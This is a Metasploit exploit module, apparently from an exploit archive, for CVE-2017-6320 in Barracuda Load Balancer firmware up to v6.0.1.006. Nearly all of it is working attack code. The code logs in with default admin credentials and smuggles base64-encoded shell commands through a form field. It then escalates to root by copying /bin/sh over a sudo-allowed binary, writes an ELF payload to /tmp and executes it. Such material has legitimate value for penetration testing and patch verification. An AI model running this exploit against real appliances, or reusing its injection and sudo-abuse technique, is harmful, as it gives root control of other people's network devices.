Barracuda Load Balancer Firmware <= 6.0.1.006 - Remote Command Injection Exploit

# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <=  v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
#            6.0.0.005 (2016-03-22) - checked:4/8/16
#        5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln:  6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <=  v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Barracuda Load Balancer Firmware <=  v6.0.1.006 delete_assessment root exploit',
                    'Description'    => %q{
                    This module exploits a remote command execution vulnerability in
                the Barracuda Load Balancer Firmware Version <=  v6.0.1.006 (2016-08-19) by exploiting a
                vulnerability in the web administration interface.
                    By sending a specially crafted request it's possible to inject system
                 commands while escalating to root do to relaxed sudo configuration on the local 
                machine.
            },
            'Author'         =>
                [
                    'xort', # vuln + metasploit module
                ],
            'Version'        => '$Revision: 2 $',
            'References'     =>
                [
                    [ 'none', 'none'],
                ],
            'Platform'      => [ 'linux'],
            'Privileged'     => true,
             'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,
 
                'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },
 
            'Targets'        =>
                [
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DefaultTarget' => 0))
 
            register_options(
                [
                    OptString.new('PASSWORD', [ false, 'Device password', "" ]),    
                    OptString.new('ET', [ false, 'Device password', "" ]),
                        OptString.new('USERNAME', [ true, 'Device password', "admin" ]),    
                    OptString.new('CMD', [ false, 'Command to execute', "" ]),  
                    Opt::RPORT(8000),
                ], self.class)
    end
 
        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )
 
                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)
 
                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
              'headers' => 
            {
                'Accept' => "application/json, text/javascript, */*; q=0.01",
                'Content-Type' => "application/x-www-form-urlencoded",
                'X-Requested-With' => "XMLHttpRequest"
            },
                      'vars_post' =>
                        {
 
                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
              'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)
 
                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
 
                return password, et
        end
 
    def run_command(username, password, et, cmd)
        vprint_status( "Running Command...\n" )
 
        # file to replace
                #sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"
 
                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
 
                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
 
        vprint_status(" file = " + b64dumpfile)
 
                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile
 
                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)
 
                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile
 
                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile
 
        exploitreq = [
        [ "auth_type","Local" ],
        [ "et",et ],
        [ "locale","en_US" ],
        [ "password", password  ],
        [ "primary_tab", "ADVANCE" ],
        [ "realm","" ],
        [ "secondary_tab","advanced_system" ],
        [ "user", username ],
        [ "timestamp", Time.now.to_i ],
 
        [ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
        [ "delete_assessment",  Rex::Text.rand_text_numeric(20) ]
        ]
         
        boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
 
        post_data = ""
     
        exploitreq.each do |xreq|
            post_data << "--#{boundary}\r\n"
            post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
            post_data << "#{xreq[1]}\r\n"
        end
            post_data << "--#{boundary}--\r\n"
 
            res = send_request_cgi({
               'method' => 'POST',
               'uri'    => "/cgi-mod/index.cgi",
               'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
           'headers' => 
            {
                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
            }
            })  
    end
 
    def run_script(username, password, et, cmds)
        vprint_status( "running script...\n")
       
       
    end
     
    def exploit
        # timeout
        timeout = 1550;
 
        user = "admin"
         
        # params
                real_user = "";
        login_state = "out"
        et = Time.now.to_i
        locale = "en_US"
        user = "admin"
        password = "admin"
        enctype = "MD5"
        password_entry = ""
        password_clear = "admin"
         
        password_hash, et = do_login(user, password_clear, et)
        vprint_status("new password: #{password_hash} et: #{et}\n")
 
        sleep(5)
 
 
         #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?
 
                        cmd = datastore['CMD']
 
                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
 
                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
 
                        # kill stale calls to bdump from previous exploit calls for re-use
#                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
 
                        run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
                        handler
                end
 
 
    end
 
end

#  0day.today [2018-04-01]  #